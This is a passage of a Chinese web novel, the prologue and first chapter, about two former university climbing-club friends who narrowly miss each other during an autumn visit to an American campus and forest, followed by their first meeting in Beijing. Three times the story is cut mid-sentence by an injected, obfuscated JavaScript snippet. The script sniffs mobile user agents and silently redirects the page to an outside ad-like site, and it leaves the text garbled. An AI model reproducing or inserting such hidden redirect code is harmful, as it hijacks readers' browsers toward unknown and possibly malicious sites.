《青春简史·森林唱游》 1. 序章 林深时见鹿 南北向的公路在山脚下蜿蜒迤逦,西侧是绵延的群山,东侧是河谷平原。秋色渲染山林,斑斓热烈,在道路转折间扑面而来。 山间的支路汇入主路,如小溪汇入江河。行驶其上的车辆轨迹交错,不知何时,谁与谁便擦肩而过。 加油站里,黎晓唱拿着油枪,试图在机器上找到使用说明。附近没有工作人员,她果断走向旁边的车辆求助。 一对情侣讲着中文,看起来便是当地的留学生。 黎晓唱打过招呼:“我第一次在美国租车,没用过自助加油,麻烦能帮我看一下么?” 对方司机点头应允。一边演示,一边闲聊,问她:“你也在附近读书吗?” “没,我在国内读博。”黎晓唱应道,“来开个会,顺便转转。” 对方听说她正要前往自己的学校,热情地指了方向。 黎晓唱道谢后驾车离开。帮忙的男生司机将车停在一旁,等着去洗手间的女朋友,一抬头,看见李澍开车过来,二人招手致意。 男生问:“去中国超市吗?” “今天不去了。”李澍应道,“去车站接个朋友。” 黎晓唱已经按照指点开过居民区,绕过尖顶教堂。她停好车,穿过校园广场,路过咖啡馆和书店,还有一家门脸不大的冰激凌店。 她一直对自己的方位感颇感自豪,在访客中心查看了校园地图,略加判断,便斜穿草坪,向着不远处的建筑群走去。 时值周末,教学区行人寥寥。走到计算机系楼前,黄褐色木质大门设了门禁。她试着推了推,只听到“咣”的一声。 黎晓唱背着双肩包,拇指插在牛仔裤口袋里,向后退了两步,抬头看着面前古朴的楼宇,不觉耸了耸肩。本来就是临时起意,Q-Q上发给李澍的消息他也没有回复,遇不到也是意料之中。 正要转身离开,有男生自转角过来,“滴”地刷开大门,书包上还写着中文小字,是某个研讨会的纪念品。 “不好意思,”黎晓唱疾走上前,“我有朋友也是咱们系的,但我来得匆忙,没联系上他,想进去看一下,可以吗?” “你找哪位?” “李澍。” “李澍啊,他说今天不来实验室,要接高中师妹……”男生恍然,“哦,就是你吧。你们走岔了?要不要给他打个电话?” 黎晓唱应道:“好,我一会儿就打给他,多谢。” “那你在这儿等他一下吧,走廊那边monroom有沙发。” 黎晓唱自然没有打电话——她不知道李澍在美国的新手机号码,更不是他的什么高中师妹。她谢过男生,在一楼闲转一圈,停在介绍栏前。除了各位任课教师的照片,上面也展示了一些活动时的抓拍与合照。她先是看到某次集体生日会上,站在人群一角的李澍。合影中每张脸都小小的,但依旧看得出,他没怎么笑。 黎晓唱反倒笑了:“还是那么木,不会照相。” 李澍也是高个子,但照片中他左右两边的男生都更为高大,比他还猛了小半个头,估计有一米九十多,显得李澍玲珑秀气起来。 黎晓唱又笑:“这两个是橄榄球队员吗?” 在学术活动一栏,有一张照片和其他的风格大相径庭——山林中一群人围了个圈,压在一只白尾鹿身上。 黎晓唱饶有兴趣地凑过去,看介绍上写着“助力白尾鹿监测数据分析”。其中将鹿头抱在怀中,套上遮光罩的,不是李澍又是谁? 虽然他低着头,看不清脸,但黎晓唱不会认错他的身形,忍不住拿出口袋里的小数码相机,拍了一张照片。 他头发剃得极短,但依旧浓密。黎晓唱欣慰一笑,“李博士,看来发际线保住了。” 她更为欣慰的,是李澍依旧行走于山林之间,仿佛又和自己有了一些小小的关联。虽然在不同国度,虽然许久不曾联络,但似乎从不曾疏远,还可以同以前一样无拘无束谈到夜深。 但是…… 黎晓唱微不可闻地叹了一声,自语道:“去接师妹呀。” 忽然不那么想见他了。 她推门而出,围着主校区的老建筑转了一大圈。高大的橡树和悬铃木拱卫在平整的草坪旁,梢头早已染上暖黄的秋意,老派的建筑上爬满常春藤,路边间或有两株红枫。橡果落在地上,灰松鼠大摇大摆地跑过草坪,没有丝毫羞怯。 黎晓唱回头看了看计算机系的大楼。来过他的城市,走过他走的路,其实也不一定非要打招呼。以李澍的性格,就算听同学提起,也不会深究谁曾来过。 之前她在Q-Q留言,说要来美国交流,没得到李澍的回信。发个电子邮件又觉得过于认真——虽然她真的特意去李澍系里网页上查了——好像她有多想见他一样。 真的,也没有多想。黎晓唱对自己说。只是地图上看着很近,并且现在正是赏秋的好时节,她才租了车,来看沿途风景。 真的,只是心血来潮顺路而已。 在他们交错离开的加油站,李澍加满油,开去附近的长途大巴站。 他的确要去接一个师妹,但其实内心有些别扭和抗拒,觉得这几天的学习和研究计划又要被打乱。但对方的父亲是他高中时的物理老师,一向对他欣赏关照,所以她长周末来赏秋游玩,自己理应尽地主之谊,不能推脱。 女孩子搭乘的大巴早到了几分钟,已经等在路边,见到李澍热情熟络地打着招呼,更显得他拘谨寡言。二人说好先参观校园,吃了饭再去附近的州立公园。 在校园停车场,李澍将车停在一辆白色SUV旁,对方车前盖上落了几片枫叶。穿过校园广场,师妹看到冰激凌店便提出试试,说对这种传统的当地小店很感兴趣,问李澍要不要每个人买一种味道,换着尝尝。 李澍给她买了两球,推说自己最近牙齿敏感,回国看牙医前要避免冷热酸甜。本来,他平时也不怎么吃这些甜食,更不习惯和别人分享。 两个人在校园里逛了一圈,看了教堂、图书馆和一些地标建筑,便坐在草坪上,看着灰松鼠跑过,似乎也没什么太多可说的。 师妹问:“哪个是你们系楼?” 李澍指了指斜对角灰黄色的建筑。 女孩说:“挺……朴实的。” “是啊,没什么可看的。” 女孩小口抿着冰激凌,盒底已经融了甜腻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116215|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层。“都化了呢。”她说。 “没事,那就不吃了……”李澍起身,“要不,去吃饭吧。” 此时的黎晓唱已经在餐厅买了三明治,又不想坐在室内,于是跑到一株枝叶茂盛的枫树下。红黄交错的彩叶热烈绚烂,她的心情却有一丝低落。 走回停车场,又路过那家冰激凌店。黎晓唱拈起车前盖上跌落的枫叶,回望了一眼,轻不可闻叹了口气——印象中李澍和自己一样,毫不挑嘴。如果有人一起分享,自然可以多试试几个不同的口味。 但她现在一个球都不想吃。 长途驱车而来,直接回去未免有些太挫败。她翻看刚刚在访客中心拿到的地区介绍,附近山中有徒步的小径,河流、池塘、小瀑布,也是赏秋的好去处。 循着地图开进山中,林木清新的气息扑面而来。树梢头有清脆婉转的啁啾声,抬起头,是一只颜色鲜亮的北美红雀,耸起的红色羽冠,像顶着不羁的莫西干发型。 没想到一下车,就看到这“愤怒小鸟”的原型。探索的兴奋占据内心,她一瞬又觉得轻松雀跃起来。 一路的低气压也抛在脑后,黎晓唱飞快拎了背包,挎好折叠望远镜,迫不及待地向林间走去。 这是一条简易的山间小径,只在几处关键点做了标记,野趣盎然。沿途见到若干仅在图册上见过、或者叫不出名字的植物和鸟儿,黎晓唱说不出的快乐,屏息凝神,一一拍下。 草丛后传来水声,小溪顺着山势蜿蜒而下,清澈的流水在深褐色的石头间轻快跳跃。走过咯吱作响的木桥,林间有一条隐约的兽道。 黎晓唱打算在不远离主路的视线范围内略作探索,她拂过树枝,踩着石块跳过小溪,绕过前方的灌木丛。 眼前一瞬开阔起来,在树木环抱下,溪流在地势平缓的山间漫开,形成一片舒缓幽静的池塘。 林中传来敲击树干的“笃笃”声,循声望去,很快便透过枝叶看到腾挪的黑啄木鸟。此刻它刚绕到树干后,视线里只留头顶一抹鲜红。黎晓唱举起望远镜,安静地等待。 不知过了多久,静立原地的黎晓唱看到了黑啄木鸟,蓝白相间的冠蓝鸦,还有飞掠过的她不熟悉的某种林莺……耳边只有舒缓的流水声和婉转的鸟鸣声。 她放下望远镜,忽然一怔。阳光的金线透过树木的间隙洒进来,在水边投下斑驳的树影。 隔着池塘,不知何时出现了一只年龄不大的白尾鹿,正在低头喝水。在暖暖的阳光里,绒毛亮泽如同半透明,周身笼了一层光晕。 它也本能地感觉到其他生物的凝视,警觉地抬头。 在山林间,隔着清可见底的池塘,一人一鹿对视着,可以清晰看到它黑亮湿润的双眼。 不过片刻,白尾鹿便机敏地跳开,小尾巴翘着,两个腾跃便远在灌木之后,似乎还留下一个打量的回望。 黎晓唱一动未动,此刻才轻快地笑起来。 她驻足四望,不禁想,这附近会不会就是照片中,李澍和研究团队一起来捉鹿的地方呢? 她掂了掂望远镜,愉快的心情再次有一丝低落。 飞越万里,却没有遇到,果然,还是会遗憾的吧。 2. 序章 (下) 李澍和师妹各自要了一份墨西哥卷饼。该交换的寒暄早就被聊了个遍,多数也是女孩在说;她问些什么,李澍的回答也简洁明了。似乎也找不到可以深入展开的共同话题。 女孩也觉得有些别扭。以前和李澍见过许多次,有时是在高中校园里,有时是在家中遇到来探望父亲的他。有些高冷神秘的距离感,似乎更符合传说中学霸师兄的人设。然而此时…… 面前的他,清爽、干净,身姿挺拔,带着一种长期运动的自律与舒展。明明不是书呆子的样貌,但言语间客套又疏离,而且惜字如金。似乎知道学术上的事她理解不了,而他也不愿意过多分享自己的生活。所以,能聊些什么呢? 直到吃过午饭,两个人出发去州立公园,偶然说起他从事的一个小课题,在女孩不断挖掘下,李澍的话才多了起来。 因为熟悉,所以不需要费力组织语言。 “捕捉白尾鹿,是一门技术活,需要团队里几个人密切配合。实际过程大概只有几秒,但我们往往需要半个小时的解说和反复演练。”李澍解释着。 坐在副驾驶的女生略感惊讶,“你刚刚说,要把诱捕笼后面的门拉高一些,然后用手抓住鹿的后腿拽出来?” “是的,要迅速把它拉翻在地,然后几个人扑上去,分别压在腿部上方,手抓住它的腿,顺着它蹬踏的方向运动,既不能让它挣脱,又不能伤了它。还要有一个人尽快套住它的头,它在黑暗情绪就能稳定很多。”讲到这些流程,他似乎也变得健谈了一些。 女孩笑:“白尾鹿听起来不太聪明的样子……我以为捉鹿都是要用麻-醉-枪的。” “麻药量需要根据体重精准计算,每次并不确定会遇到哪一头鹿,还要有专业人员……这个方法听起来传统,团队习惯了,简单易行。” “我以为师兄只是帮忙收集红外相机数据,做分析模型,原来还要亲自去捉鹿。” “觉得有趣。” “师兄和高中时相比,变化还是蛮大呢。”女孩只觉得面前的男生变得生动有趣起来,侧头问,“你是什么时候开始,对这些感兴趣的呢?是大学加入攀岩队以后吗?” 是什么时候开始呢? 山间道路蜿蜒,林木高大繁密,斑斓秋色扑面而来,李澍一时无以应对。他记不清具体时间,但却清晰地记起了一个人。 那时的她坏笑着递过一块石片。李澍犹疑地看向她,她眉眼弯弯,点头肯定他的猜测。 李澍下意识蹙眉捂鼻,后退半步。 她一把抓住他的衣襟,将石片塞进他掌心:“小澍,想知道遇到了什么,当然是自己剖开看。” 他半弯着腰,她单膝蹲在前方,微扬着头,笑意盈盈,眼神明亮,又闪烁着恶作剧般的顽皮。 小澍,你看。 小澍,你看。你看到了吗? 曾经她总是这样问,站在他身边,抬高的手臂几乎贴着他的脸颊,“顺着我手指的方向。” 那一刻李澍总怀疑自己视力不济,他目之所及,只有一片摇曳的绿色枝叶。但那里一定有些什么,在春日林间,鸟儿们欢快婉转的啼鸣那么真切。 小澍,你看到了吗? 已经很久没听到她的声音了。李澍一时惘然,不知她此刻身在何方,过着怎样的生活。 他有一霎那的走神,险些错过了上山的路口,连忙一脚刹车,在STOP标识前稍停。看见主路下山的白色SUV疾驰而过,片刻便消失在转弯处。 李澍左转,沿着盘山公路继续向前。 师妹听了他的叙述,提出想去看红外相机。李澍带她走入林间小径,沿途听到熟悉的鸟鸣,跨过淙淙流淌的小溪。女孩的鞋子不是很适合走山路,两个人便走得慢一些,有时他不得不停下来,在溪边拉她一把。 绕过灌木丛,便是那片静谧的水塘。 李澍走到一棵树边,齐胸高的树干上,绑了一个迷彩绿色的小方盒,正对着水塘。 李澍解释道:“这里经常有动物来喝水,我想做个实验,多角度观测,做个更立体的模型。”他抬手,指向另两个角落,“那儿和那儿,也有相机。” 女孩凑过来,翻看红外相机中的照片和视频,兴奋地笑道:“哇,鹿,真的有鹿,在喝水,还抬头看过来!咦,它在看什么吗?怎么忽然跳开了?” “我们之前应该有其他徒步的人来过。”李澍说道,指了指不远处。几片落叶半陷到潮湿的泥土中,印着新鲜的带着水汽的足迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116216|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也不足为奇,山里也曾有人看到过他们的相机,还留下鼓励的便签。 在下山时,李澍似乎看到了一只小鹿,在密林深处安静地望过来。他不是很确定,因为只是一晃眼,便只剩灌木的晃动。 吃过晚饭,李澍送师妹去附近酒店住下。回来时遇到系里的中国同学,对方问:“后来见到你师妹了?” “嗯,是啊。” “哦,那就好,她还等了你一会儿呢。”同学说,“看着挺可爱的,还有点酷。” “等了一会儿”,他又是怎么知道的?“有点酷”,更是一个完全不搭界的形容词。李澍不解,略一蹙眉,不过也没有刨根问底的兴致。 同学揶揄地笑:“人家大老远来找你,是不是有什么情况?”单调的生活中,难得有些八卦。 李澍淡然应道:“没什么情况,就是高中老师家的孩子。” “真没?那下次介绍一下?” 李澍随意应了一声,心想,大概率没下次。 如此便又不知过了多久,下了暮秋初冬的第一场薄雪。山林间的秋色尚存,就是显得黯淡疲惫,雪后添了许多落叶。 李澍又去了一趟池塘,将几个相机的存储卡都带回来,一一导入。他捧了一杯黑咖啡,随意点开了几张照片。 就在某张照片角落,出现了一个女生的背影,冲锋衣的颜色格外熟悉。李澍几乎从椅子上弹起来,连忙放下咖啡,坐正身体,迅速翻看起来。 她站在水塘边,举着望远镜,微仰着头,一定是在看鸟。李澍连忙切换到另一个角度的红外相机,打开文件夹,找到相似的时间。 清清楚楚,真的是黎晓唱。 她和白尾鹿都立在水畔,隔着一片池塘,安然平静地对视。 李澍忽然想到什么,飞速下载了许久不用的Q-Q。好多小小头标晃动着,其中一个闪烁的,就像她正在轻轻晃着脑袋。 对话框第一句是:“小澍,好久不见。” 那天在山路上,与李澍错身而过的白色SUV来到下一个十字路口,黎晓唱放缓速度,仔细看了看路牌——向西通向李澍的学校;向东便奔赴另一个城市。 她有些遗憾,轻声叹气,挥了挥手,说:“小澍,再见。” 3. 第一章 遇见小猴 关于二人的初次见面,黎晓唱和李澍有着截然不同的记忆。 她认为是在九月下旬的周六。因为每个新学年,学生社团都在那段时间集中展示、宣传招新。 那几天“秋老虎”发威,到了中午,两棵大树中间的展台暴露在阳光下,忙前跑后的队友们一个个揪着T恤领口扇风。 黎晓唱自告奋勇,跑去食堂买了二十几杯绿豆沙。她怕阻碍了后面排队的人,把一堆封口的塑料杯推到柜台一角,手忙脚乱塞进两个大塑料袋里。 匆促间饭卡掉在地上,她浑然不知,拎起两个大袋子就往门外跑。 身后有人腿长,两个跨步追上来,在门口拍了拍她的肩:“同学,饭卡掉了。” 黎晓唱转身,再三感谢。她两手各提一只塑料袋,勒得指节发红,接过饭卡便捏在拇指食指间,看起来马上就要又丢掉的架势。 她想把塑料袋放在地上,重新整理。对面的男生伸手,默默将她手中的袋子接了过去。看她把饭卡妥善揣好,再递过来。 “谢谢啊!”黎晓唱掏出一杯绿豆沙,塞在他手里,“请你喝绿豆沙。” 她的语速快,动作也快,不待男生客气推辞,已经拎了两只大口袋,步履轻快地跑开了。 她还一直炫耀自己记性好,说不多时就在人群里一眼认出看热闹的李澍,主动喊他过来,塞给他报名表格。 她对他的第一印象,就是瘦高的师弟,似乎有一点驼背。但也许不是真的驼背,只是因为在食堂门前,她已经下了两级台阶,回身后看见拍自己肩膀的李澍。他本来就高,又要和她说话,但偏偏拘谨着,在二人之间留下一大段距离,更显得居高临下。 她并不认得他,但当时就很确定这是一位师弟。 新生就是不一样的,尤其刚开学一两个月,很容易辨识出来。男生们不管个子高矮,魁梧还是瘦弱,神色间都还留着中学生的青涩懵懂。虽然眼前男孩子的唇边也有一层薄薄的胡须,但浅淡细软,没有仔细打理,反而更显得稚嫩。 所以她塞了一杯绿豆沙过去,对小师弟表示感谢和欢迎,更是展现自己的大方热情。 是呢,她可是刚刚晋升大三的师姐,稳重、自信,虽然上面还有大四,但他们忙于应对毕业、在学校各种活动中逐渐消隐。在黎晓唱心里,她和她的同伴们,才将是未来一年里,校园生活中意气风发的中坚力量。 每次想起来,都仿佛身后有一条隐形的尾巴,得意得要翘起来。 她和别人讲过若干次最初和李澍偶遇的情景,并将之作为二人师徒缘分的开端。李澍一向由她说,从来不解释——其实在新生报到那天,他们就见过。 他在八月末的清晨抵达北京,一下火车,迎面而来的热气掀起衣角,整个人被闷在巨大的罩子里,喘气都不通畅。他拎着硕大的行李箱,背着塞满的新书包,额头早就一层汗。 此时如果还在家乡,早晨七点已经让人真切体会到秋凉。 启程前几天,李澍去高中和老师们告别,已经需要穿牛仔长裤。那天正好开学报到,继续当班主任的物理老师兴冲冲将李澍带到新生面前,一定要他讲两句。 不待李澍开口,老师已经赞不绝口,夸奖他聪明、刻苦、自律,学习有方法、有技巧、有效率,这次能够以全校第一、全省前十的高考成绩迈入大学,攻读计算机专业,是新生们未来三年的榜样。 当时李澍推辞不过,说了几句放之四海而皆准的鼓励的话。毕竟距离高考不远,用在作文中励志的句子还能记得一些。 但他总觉得,自己也没有那么特别。尤其当一夜奔波后,睡眼惺忪站在依旧溽热的站台上时,来自天南海北的汹涌人潮自身边流过,更觉得每个人都小小的一点,每个人都如同被淹没了一般。 李澍按照提示走向出站口。地下通道里,其他车次的乘客从岔口的台阶汇入。其中有一队大学生,他们实在太显眼了,不管男生女生,每个人都背着巨大的登山包,塞到膨胀,包外也挂了诸多配件。其中还有身材瘦小的队员,大概整个人可以塞进前面高大男生的背包里。 但每个人都步履矫健,甚至比一些不负重的旅客看起来还轻松。虽然一个个晒得黑不溜秋,脸色看起来也是睡眠不足的样子,但又那么兴奋和快乐,在嘈杂的车站里,也能清楚听到他们年轻欢快的声音。 到了出站口,看到若干各高校来接站的志愿者,高举着带有校名校徽的标志牌。那一队身姿矫捷的队伍中,传出女孩快乐的声音:“嘿,学校来车接我们了!” 有人打破她的幻想:“别傻了,那是接新生的。” “哦哦,那我们可不可以蹭车?”她说完马上笑起来,“哎呀,我开玩笑的,咱们还是去坐地铁吧。走过街天桥,去路北,那个入口安检人少。” 有人附和:“对啊,这边靠近出站口,每次排队都很长。” “那,我们快点走。”她忽然一个箭步窜了出去,“最后一个进站的,回去负责买冰激凌!” 于是,一群大背包呼呼啦啦从李澍面前掠过。每个背包都半人高,将人挡了个严实。 等这阵潮水退去,他们曾经短暂停留的指示牌展露在李澍面前——正是他的学校。 校车上已经坐了一些新生,等了不久就发车了。正值早高峰,略有拥堵,开了一小时才到学校。 进了大门的林荫路旁,各院系依次排开,横幅高高低低,路边旗帜招展。 李澍找到自己的学院,因为招生人数多,所以摊位也显得比别家声势浩大。不过前面已经有十几个人,他便站在队尾耐心等着。 热闹喧嚣中,他难免有些紧张,握着书包带,手心微微出汗。许多同学旁边都陪了一两位家长,像他这样独自报到的并不多。爸妈之前也问过要不要送他来北京,都被李澍拒绝了,说不过是在火车上睡一晚,又有学校接站,他一个大小伙子,没什么搞不定。 只有他自己明白,那种不安并不是因为环境陌生,初来乍到。在当时他说不清,心中为何一片空旷;过了许久才明白,那是关于未来的迷茫。 在他独自站在人群中,喧嚣却孤寂时,那支快乐的队伍也从大门外进来,浩浩荡荡地穿过校园。他们似乎是不会感到紧张寂寞的,每个人都那么自在快乐,沿途不断有人遇到熟人,不断地挥着手臂大声招呼。 还有人来迎接,喊着:“冰激凌来了,冰激凌来了!”众人一拥而上,毫不客气,挑选起自己喜欢的口味来。 李澍被他们的欢乐吸引,忍不住回头看,心中隐隐羡慕。 正扭着头,忽然眼前一晃,一片鲜艳的红色覆了下来。李澍下意识伸手去挡,有什么轻飘飘垂在手臂上,又向下滑,他忙又捞了一下。原来是扯在两棵树间的横幅,一端松脱垂下,现在就半绕在他手臂上。 师兄师姐赶过来,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116217|164176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边绕开横幅,一边问:“没事吧?” 李澍摇头:“没事。” “就是绳子松了。”师兄将横幅展开,想试着挂上去,伸手一比量,就觉得哪怕踩了椅子,依旧身高不足。他挠了挠头:“昨晚他们是架着梯子挂的吧。” 师姐向李澍招手:“这位新生……”低头看了看名单和通知书,“哦,李澍,你个子高,帮忙挂一下吧,谢啦。” 李澍摘下背包,踩在木椅上,伸展手臂又踮起脚尖,还是略差一点。 师姐说:“系在这儿也不是不行,就是比那一头低,看起来有点歪。” “搬个桌子来吧。”师兄建议。一回头,几条长桌上的各种表格材料还有迎新手册码得整齐,一时间也不大容易清空。 有人提议:“我去旁边团委借个梯子吧。” “哎,不用。”另一位师兄说,指了指斜前方分发冰激凌的众人,“那不是攀岩队的小猴子吗?喊‘他’帮忙。” 师姐蹙眉:“礼貌点,什么小猴子,人家有名字的。” “‘他’才不介意呢,我们一起上过选修课,”师兄乐:“‘他’喜欢别人叫‘他’小猴呢。” 说着他便大声喊起来:“小猴姐……” 一直站在旁边听热闹的李澍一愣,才意识到,师兄说的“小猴”是个“她”。 “啊?”一群埋头翻冰激凌的人里,抬起一个小脑袋,戴了一顶户外遮阳帽,为了看得清楚,她还把帽檐向上卷了卷。 师兄招手:“过来帮忙!” 她背着一个几乎比自己还宽的大背包,举着刚打开包装的冰激凌,走走跑跑地颠了过来。 “都说了,不要总喊我‘小猴子’。”她嗔道,但神色中并没有怒意,一双乌黑的眼睛笑起来弯弯的,“我们队里猴子可太多了。” “那谁让我就认识你啊。”师兄指了指横幅,“唱姐,黎姐,怎么称呼都好,帮个忙呗。” 小猴都没仔细打量面前的树,就开始解背包:“没问题,小意思。”师兄连忙过来,从后面接住。 她松开登山包的腰带,想起还捏着冰激凌,便顺手往旁边一塞:“同学,帮我拿一下呗。” 已经递到眼皮底下,李澍连忙接过,拇指食指捏着木柄。有一瞬间,好像也捏到了她的手指。 女生没在意。她除去背包,整理了一下衣裤,这才摘掉帽子,半长不短的头发蓬起来。 她抬头看了看面前的大树,树干大概半抱粗,有几个不规则的疤结。刚刚李澍站在椅子上,勉强够到最下方的树枝。但如果想让横幅水平,还要再向上系一些。 女生站在椅子上,张开双臂环住树干,弯曲双腿,双脚也盘附在粗糙的树皮上。她就这么抱着树,左右手交替,双脚跟上,再一伸手,便搭在了斜伸出来的枝干上。 虽然灵活,但毕竟抱在树上,在李澍看来,别说猴子,大概狗熊也是这么爬树的。 但下一瞬,她顷刻变得敏捷起来。两只手吊在最下方的树杈上,一卷腹,左脚也勾了上去,右脚略提,在树干上轻点借力,身体顺势一拧,同时伸出右手,搭在另一根略高的侧枝上。 李澍还没看清她怎么发力,她整个人就已经翻身骑坐在枝杈上。现在,有了众多树枝的簇拥,她可真是如同一只小猴子一样,想爬多高就爬多高,想去哪里就去那里。 她笑盈盈地俯身:“横幅给我吧。” 4. 第一章 (下) 在摇曳的枝叶间,她小声哼着歌,调整着横幅高度:“这样,这里可以吗?……好嘞,我给你们系个结实点的绳结……放心,解得开,另一头一拽就开。” 系好之后,她蹲低身体,李澍下意识张开双臂,想接她一下。 “没事。”她摆了摆手,“哦,帮我把那个椅子拿开吧。” 她双手勾在树枝上,一扭转身体就荡了下来,向前轻摆,落地时蹲低卸力,轻盈得像是一只花猫。 嗯,抹了一把脸,就更像花猫了。 她还是看到了李澍想要保护的双手,回头一笑:“谢啦。” 旁边的人围上来。 “果然是小猴姐,简直迅雷不及掩耳盗铃啊。” 她半是埋怨半是嬉笑:“都说了,别叫我小猴。” 还有人双手做大喇叭状,对啧啧称奇的新生们广播:“专业人士,危险动作,未受过专门训练的小朋友请勿模仿。” 师兄拱手:“唱姐仗义,改天报告你。” “没事啦,举手之劳。”她挥挥手,背起大包,“我赶紧回岩壁那边,还得整理装备。” 她走出去两步,经过李澍时忽然转身,“啊,不好意思,那个……” “好像有点化了……”李澍连忙将冰激凌递过去。 饶是她动作敏捷,几分钟便蹦了下来,但天气炎热,表面也微微融了一层,粘在手上有些黏腻。 “啊,真是太不好意思了。”她一迭声道歉,拉开腰带上的小包,递过一张单独包装的湿巾,“冰棍送你啦,一会儿擦擦手吧。” 李澍“哦”了一声,不知道应该推辞,还是道谢。她并没多做停留,塞过湿巾就连跑带颠地和队友汇合,说说笑笑间,便只留了一个背影。 甚至不知道她的名字,总不能说,谢谢小猴姐。 刚刚听师兄喊她,李澍不知道是哪两个字,自然以为是“李姐”,或许单名一个“畅”。李畅,那就和自己的堂妹同名了。所以,便这样记住了她的“名字”,好像也不算多刻意。 后来开学选课,李澍偶然间发现,可以在学校系统里根据师生的姓名查询所在院系。鬼使神差的,他就输进去“李畅”这个名字。 全校有五个“李畅”:一位教师,两位研究生,两位本科生。那位小师姐,这是李澍心中对她的称呼,笑起来自然真挚,还带了一些稚气,应该就是后两位中的一个。那么,谁才是那天的小猴子呢? 黎晓唱没有单独留心哪一个新生,但从开学返校,她就一直感慨,校园里一下子多了许多小朋友。 “是真的不一样,一看就是小孩子。”她每次回到寝室都要感叹两句,“我总觉得咱们高中毕业也没多久吧,但你看那些大一新生,真的特别稚嫩!顶花带刺那种嫩!” 室友们忍俊不禁:“别人这么说也就罢了。晓唱你这么多年长大了吗?” 她照了照镜子:“岂止长大了,都沧桑了。” 不过总体而言,黎晓唱对大三师姐的身份还是满意的,想着自己也是攀岩队中成熟老练的骨干了,今后堪当重任。她脑海中不知跑过多少未来的训练计划,迫不及待想要和队友们分享。 开学后不多久,登山协会内部碰头,商定本学期安排,部署分工。大家纷纷领了任务,黎晓唱听到最后,举手问:“那我呢?这学期我课也不多。” 会长一指:“攀岩队的具体分工,听你们祁队安排吧。” 黎晓唱还想发问,队长祁飞侧身轻声道:“一会儿单独和你说。” 散会后,两人没走近路回宿舍区,在校园里绕了一圈。 祁飞问:“晓唱,你上学期期末成绩怎么样?” 她嘻嘻一笑:“还行呀,反正都及格了,不耽误毕业。” “呵,”祁飞不以为然,“都及格了,这也好意思说?是不是有一门专业课没考,最后退课了?” “哦,那个不是专业必修课,可以以后补的。”黎晓唱吐吐舌头,“我也的确手腕受伤了,没法答题。在校医院拍了片子,医生出了假条,老师就允许我退了。” “不是专业必修,也是限选吧?你是明知道考不过吧……”祁飞对她的借口嗤之以鼻,“手腕受伤?暑假去阳朔攀岩的时候,怎么没看出来你受伤?” 黎晓唱扁嘴:“难得去一趟,不爬多浪费?就磕了几条简单线嘛。” “本来想过,这学期让你带攀岩训练。不过有人赞成,也有人反对……听他们说,我才知道你上学期旷考了。”祁飞想骂她两句,又不忍心,稍微将语气放得柔和,“不是觉得你技术能力不行,或者不够严谨认真,恰好相反,大家都觉得,你对攀岩的事儿太上心了,平时的训练和备赛已经投入不少精力,要是再让你忙队里的事儿,你都毕不了业!” 想想自己的成绩,黎晓唱有那么半分羞愧,但又忍不住辩驳道:“师兄,你成绩很好吗?”心下又把几位骨干的名字念叨了一遍,你们的成绩都很好吗,排名都很靠前吗? “马马虎虎。”祁飞坦然道,“总是比你好吧——至少我没说退考,或者在不及格的边缘徘徊吧。” “不会不会,我也不至于不及格。”黎晓唱摆手,“这个可以保证的,我还想顺利毕业呢。” “知道你想,但你想做的事儿是不是太多了?”祁飞反问,“你又不是不喜欢自己的专业,还总出野外。人的精力有限,你要想想怎么平衡这些关系。而且,已经大三了,本科毕业打算做什么,也得提前准备了。” “当然是读研了……没想过出不出国。”黎晓唱望天,“至少,争取保送本校吧……” “你以为是个人都能保送?先问问自己成绩够不够!” 黎晓唱“哦”了一声,嘟囔道:“师兄今天怪严肃的,老气横秋。” “还不是你,太不让人省心了。” “我错了我错了,多谢队长一直罩着我。” “别嬉皮笑脸,没大没小的。”祁飞也说不出什么狠话,叹气,“下次可不能再旷考了哈。” 黎晓唱举手发誓:“嗯嗯,我保证,一定没下次。” 回到宿舍,还有不到半小时熄灯。黎晓唱抓起水壶冲出去打水,回来又匆忙跑去洗手间洗漱。 “晓唱……黎晓唱……黎……”几位室友好几次想拦住她,都被她风风火火喊着“马上、马上”绕了过去。 好不容易看她进了寝室,安定下来。 室友孟琳凑过来,挑眉道:“听说,你大晚上的不回宿舍,和男生去后湖遛弯了?是不是有什么情况,需要和我们交待交待?” 黎晓唱后退半步:“什么啊,那是我们队长。” “哦……祁飞师兄啊。那就是你俩有情况呗。”孟琳凑得更近,“你们祁队有女朋友不?” “没……” “那就很可疑啊。”孟琳说,“批评教育还得去湖边溜达,啧啧,花前月下……” “这都谁说的呀!”黎晓唱脸颊有些发热,“哎,要不是你大晚上也去了湖边,怎么知道我在?” 